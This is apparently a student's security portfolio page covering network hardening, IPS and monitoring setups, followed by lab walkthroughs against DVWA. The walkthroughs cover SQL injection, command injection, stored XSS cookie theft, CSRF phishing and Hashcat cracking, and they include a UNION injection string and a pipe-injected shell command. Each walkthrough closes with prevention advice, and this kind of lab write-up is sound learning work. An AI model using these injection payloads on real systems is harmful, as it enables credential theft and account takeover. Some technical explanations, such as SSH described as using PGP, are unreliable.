</ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which 